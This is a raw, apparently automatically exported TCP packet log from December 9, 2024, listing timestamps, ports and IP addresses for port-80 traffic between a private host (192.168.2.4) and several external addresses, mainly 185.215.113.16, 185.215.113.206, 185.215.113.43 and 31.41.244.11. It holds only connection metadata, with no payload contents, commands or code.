Dec 9, 2024 20:27:49.633661032 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.633713007 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.633724928 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.633840084 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.634845972 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.634895086 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.634931087 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.634980917 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.635834932 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.635885954 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.635924101 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.636027098 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.637006998 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.637058020 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.637089014 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.637202024 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.638030052 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.638078928 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.638251066 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.638379097 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.639367104 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.639381886 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.639415979 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.639434099 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.640233040 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.640288115 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.640441895 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.640487909 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.641248941 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.641299009 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.641359091 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.641447067 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.642350912 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.642416000 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.642493963 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.642611980 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.643449068 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.643502951 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.643619061 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.643677950 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.644503117 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.644553900 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.644623041 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.644668102 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.645584106 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.645626068 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.645634890 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.645678997 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.646693945 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.646739960 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.646898985 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.646946907 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.647732973 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.647784948 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.647818089 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.647861958 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.648854971 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.648907900 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.648914099 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.648950100 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.649899006 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.649947882 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.650012016 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.650057077 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.651009083 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.651056051 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.651139975 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.651221991 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.652086020 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.652177095 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.652218103 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.653176069 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.653218985 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.653294086 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.653356075 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.654248953 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.654292107 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.654349089 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.654387951 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.655339956 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.655385017 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.655446053 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.655533075 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.656502962 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.656560898 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.656635046 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.656687975 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.657524109 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.657577038 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.657605886 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.657651901 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.658652067 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.658699036 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.658776999 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.658823967 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.660305023 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.660320044 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.660353899 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.660370111 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.660773039 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.660841942 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.660856962 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.660901070 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.661869049 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.661926031 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.661979914 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.662029982 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.662923098 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.662972927 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.663002014 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.663101912 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.663985014 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.664030075 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.664048910 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.664096117 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.665071964 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.665163040 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.665199995 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.665246964 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.666188955 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.666286945 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.666341066 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.667256117 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.667309046 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.667438030 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.667643070 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.668309927 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.668382883 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.668418884 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.668467999 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.669425964 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.669469118 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.669631004 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.669677973 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.670494080 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.670561075 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.670629978 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.670687914 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.671587944 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.671638966 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.671714067 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.671755075 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.672667027 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.672755957 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.672765970 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.672918081 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.673763037 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.673813105 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.673842907 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.673891068 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.674869061 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.674968004 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.674988031 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.675014019 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.675949097 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.675998926 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.676074028 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.676127911 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.677073002 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.677124977 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.677154064 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.677346945 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.678055048 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.678107977 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.678158045 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.678232908 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.679122925 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.679173946 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.814538002 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.814800024 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.814883947 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.814924955 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.814960003 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.815009117 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.815768003 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.815901041 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.815963984 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.816858053 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.816916943 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.816941977 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.817183018 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.817923069 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.817985058 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.818006039 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.818051100 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.819026947 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.819077015 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.819175959 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.819224119 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.820102930 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.820152998 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.820164919 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.820194960 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.821209908 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.821290970 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.821327925 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.821374893 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.822247028 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.822314024 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.822346926 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.822384119 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.823357105 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.823412895 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.823432922 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.823474884 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.824421883 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.824496984 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.824745893 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.824745893 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.825515985 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.825567961 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.825608969 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.825655937 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.826616049 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.826677084 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.826731920 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.826786041 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.827728987 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.827781916 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.827811956 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.827848911 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.828778028 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.828831911 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.828876019 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.828922987 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.830063105 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.830125093 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:50.257742882 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:50.258147955 CET	49769	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:50.377187967 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:50.377455950 CET	80	49769	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:50.377541065 CET	49769	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:50.377908945 CET	49769	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:50.497390032 CET	80	49769	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:52.213040113 CET	80	49769	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:52.215334892 CET	49769	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:53.465308905 CET	49769	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:53.466959953 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:28:04.690351963 CET	49786	80	192.168.2.4	185.215.113.43
Dec 9, 2024 20:28:04.809865952 CET	80	49786	185.215.113.43	192.168.2.4
Dec 9, 2024 20:28:04.811459064 CET	49786	80	192.168.2.4	185.215.113.43
Dec 9, 2024 20:28:04.812817097 CET	49786	80	192.168.2.4	185.215.113.43
Dec 9, 2024 20:28:04.932189941 CET	80	49786	185.215.113.43	192.168.2.4
Dec 9, 2024 20:28:06.143531084 CET	80	49786	185.215.113.43	192.168.2.4
Dec 9, 2024 20:28:06.143657923 CET	49786	80	192.168.2.4	185.215.113.43
Dec 9, 2024 20:28:07.673648119 CET	49786	80	192.168.2.4	185.215.113.43
Dec 9, 2024 20:28:07.677383900 CET	49792	80	192.168.2.4	185.215.113.43
Dec 9, 2024 20:28:07.793263912 CET	80	49786	185.215.113.43	192.168.2.4
Dec 9, 2024 20:28:07.793333054 CET	49786	80	192.168.2.4	185.215.113.43
Dec 9, 2024 20:28:07.796684027 CET	80	49792	185.215.113.43	192.168.2.4
Dec 9, 2024 20:28:07.796765089 CET	49792	80	192.168.2.4	185.215.113.43
Dec 9, 2024 20:28:07.796966076 CET	49792	80	192.168.2.4	185.215.113.43
Dec 9, 2024 20:28:07.876463890 CET	49724	80	192.168.2.4	2.22.50.144
Dec 9, 2024 20:28:07.917150021 CET	80	49792	185.215.113.43	192.168.2.4
Dec 9, 2024 20:28:07.998063087 CET	80	49724	2.22.50.144	192.168.2.4
Dec 9, 2024 20:28:07.998117924 CET	49724	80	192.168.2.4	2.22.50.144
Dec 9, 2024 20:28:09.149424076 CET	80	49792	185.215.113.43	192.168.2.4
Dec 9, 2024 20:28:09.149547100 CET	49792	80	192.168.2.4	185.215.113.43
Dec 9, 2024 20:28:09.153575897 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:09.272993088 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:09.273154020 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:09.273328066 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:09.395222902 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.603275061 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.603339911 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.603352070 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.603365898 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.603411913 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.603424072 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.603441954 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.603451014 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:10.603494883 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:10.603502989 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:10.603821993 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.603838921 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.603851080 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.603868961 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:10.603880882 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:10.723051071 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.723110914 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:10.723151922 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.723203897 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:10.727276087 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.727360964 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:10.795656919 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.795692921 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.795820951 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:10.799855947 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.799940109 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:10.799990892 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.800030947 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:10.800045013 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:10.808239937 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.808322906 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.808558941 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:10.816699028 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.816776037 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:10.816848993 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.816970110 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:10.825073957 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.825148106 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.825170994 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:10.825217009 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:10.833499908 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.833569050 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.833604097 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:10.833631992 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:10.841871023 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.841914892 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.841984034 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:10.842006922 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:10.850532055 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.850615978 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:10.850627899 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.850667953 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:10.858851910 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.858905077 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.858941078 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:10.858957052 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:10.867090940 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.867192030 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.867196083 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:10.867238998 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:10.874782085 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.874865055 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:10.874906063 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.874950886 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:10.916498899 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.916577101 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.916682959 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:10.919368029 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:10.987399101 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.987554073 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:10.987761021 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.987816095 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:10.989665031 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.989718914 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:10.989761114 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:10.989806890 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:10.994345903 CET	80	49795	31.41.244.11	192.168.2.4
